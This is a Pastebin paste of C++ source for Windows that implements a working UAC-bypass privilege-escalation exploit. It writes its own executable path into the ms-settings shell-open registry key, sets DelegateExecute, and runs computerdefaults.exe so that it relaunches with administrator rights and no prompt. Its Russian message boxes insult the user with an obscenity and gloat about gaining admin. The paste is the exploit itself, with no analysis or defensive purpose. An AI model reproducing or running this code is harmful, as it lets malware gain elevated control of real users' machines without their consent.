Guest User

code

a guest
Jan 11th, 2025
117
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.21 KB | None | 0 0
  1. /////////////////////////////////////////////////////////////////////////////////
  2. // definitions.hpp
  3.  
  4. #pragma once;
  5.  
  6. #include <Windows.h>
  7. #include <string>
  8. #include <iostream>
  9.  
  10. bool IsUserAdmin();
  11. void createRegistryKey(const std::string& path, const std::string& valueName, const std::string& value);
  12. void createRegistryKeyDWORD(const std::string& path, const std::string& valueName, DWORD value);
  13. void runProcess(const std::string& command);
  14. std::wstring utf8_to_utf16(const std::string& utf8);
  15.  
  16. //////////////////////////////////////////////////////////////////////////////////
  17.  
  18.  
  19.  
  20.  
  21.  
  22. //////////////////////////////////////////////////////////////////////////////
  23. // regedit.cpp
  24.  
  25. #include "definitions.hpp"
  26.  
  27. bool IsUserAdmin() {
  28. BOOL isAdmin = FALSE;
  29. PSID administratorsGroup = NULL;
  30.  
  31. SID_IDENTIFIER_AUTHORITY ntAuthority = SECURITY_NT_AUTHORITY;
  32. if (AllocateAndInitializeSid(&ntAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID,
  33. DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &administratorsGroup)) {
  34. CheckTokenMembership(NULL, administratorsGroup, &isAdmin);
  35. FreeSid(administratorsGroup);
  36. }
  37. return isAdmin;
  38. }
  39.  
  40. void runProcess(const std::string& command) {
  41. STARTUPINFOA si;
  42. PROCESS_INFORMATION pi;
  43. ZeroMemory(&si, sizeof(si));
  44. si.cb = sizeof(si);
  45. ZeroMemory(&pi, sizeof(pi));
  46.  
  47. if (CreateProcessA(NULL, const_cast<char*>(command.c_str()), NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
  48. CloseHandle(pi.hProcess);
  49. CloseHandle(pi.hThread);
  50. } else {
  51. std::cerr << "Failed to run process" << std::endl;
  52. }
  53. }
  54.  
  55. void createRegistryKey(const std::string& path, const std::string& valueName, const std::string& value) {
  56. HKEY hKey;
  57. std::wstring subKey = utf8_to_utf16(path);
  58. std::wstring wValueName = utf8_to_utf16(valueName);
  59. std::wstring wValue = utf8_to_utf16(value);
  60.  
  61. if (RegCreateKeyExW(HKEY_CURRENT_USER, subKey.c_str(), 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
  62. RegSetValueExW(hKey, wValueName.c_str(), 0, REG_SZ, (const BYTE*)wValue.c_str(), (wValue.size() + 1) * sizeof(wchar_t));
  63. RegCloseKey(hKey);
  64. }
  65. }
  66.  
  67. void createRegistryKeyDWORD(const std::string& path, const std::string& valueName, DWORD value) {
  68. HKEY hKey;
  69. std::wstring subKey = utf8_to_utf16(path);
  70. std::wstring wValueName = utf8_to_utf16(valueName);
  71.  
  72. if (RegCreateKeyExW(HKEY_CURRENT_USER, subKey.c_str(), 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
  73. RegSetValueExW(hKey, wValueName.c_str(), 0, REG_DWORD, (const BYTE*)&value, sizeof(value));
  74. RegCloseKey(hKey);
  75. }
  76. }
  77.  
  78. std::wstring utf8_to_utf16(const std::string& utf8) {
  79. if (utf8.empty()) return std::wstring();
  80. int size_needed = MultiByteToWideChar(CP_UTF8, 0, utf8.c_str(), (int)utf8.size(), NULL, 0);
  81. std::wstring utf16(size_needed, 0);
  82. MultiByteToWideChar(CP_UTF8, 0, utf8.c_str(), (int)utf8.size(), &utf16[0], size_needed);
  83. return utf16;
  84. }
  85.  
  86.  
  87. /////////////////////////////////////////////////////////////////////
  88. // main.cpp
  89.  
  90. #include "definitions.hpp"
  91.  
  92. int main() {
  93.  
  94. const std::string REGISTRY_PATH = "Software\\Classes\\ms-settings\\shell\\open\\command";
  95. const std::string EXECUTE_VALUE_NAME = "";
  96. const std::string DELEGATE_EXECUTE_VALUE_NAME = "DelegateExecute";
  97. const DWORD DELEGATE_EXECUTE_VALUE = 0;
  98. const std::string COMMAND_TO_RUN = "cmd.exe /C computerdefaults.exe";
  99.  
  100. if ( IsUserAdmin() ) {
  101. MessageBoxW(0, L"Ого! Ты теперь админ, хуесос?", L"Примет, Мир!", MB_OK);
  102. } else { // Прописываемся в реестр
  103.  
  104. MessageBoxW(0, L"Здорова, хуесос!", L"Примет, Мир!", MB_OK);
  105.  
  106. char execPath[MAX_PATH];
  107. GetModuleFileNameA(NULL, execPath, MAX_PATH);
  108.  
  109. createRegistryKey(REGISTRY_PATH, EXECUTE_VALUE_NAME, execPath);
  110. createRegistryKeyDWORD(REGISTRY_PATH, DELEGATE_EXECUTE_VALUE_NAME, DELEGATE_EXECUTE_VALUE);
  111.  
  112. runProcess(COMMAND_TO_RUN);
  113.  
  114. }
  115.  
  116. return EXIT_SUCCESS;
  117. }
  118. ////////////////////////////////////////////////////////////////////////////////////////////////
  119.  
  120.  
  121.  
  122.  
  123.  
  124.  
  125.  
  126.  
Add Comment
Please, Sign In to add comment